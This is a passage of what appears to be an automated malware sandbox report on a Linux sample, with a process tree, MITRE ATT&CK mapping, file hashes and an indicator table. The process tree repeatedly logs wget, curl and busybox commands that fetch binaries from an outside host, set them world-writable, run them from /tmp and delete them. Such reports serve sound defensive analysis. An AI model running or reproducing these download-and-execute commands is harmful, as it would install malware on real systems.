  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:969
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:970
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:973
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - System Network Configuration Discovery
  PID:980
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:983
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:984
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:985
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:987
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:998
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:1001
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:1003
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:1004
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:1005
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1006
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:1010
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:1011

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1

Path /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	743	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	757	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	783	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	809	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	846	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	853	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	860	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	870	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	877	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	884	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	891	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	898	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	905	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	912	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	919	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	926	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	933	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	940	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	947	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	954	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	961	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	968	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	975	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	982	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	989	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	996	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	1003	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	1010	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo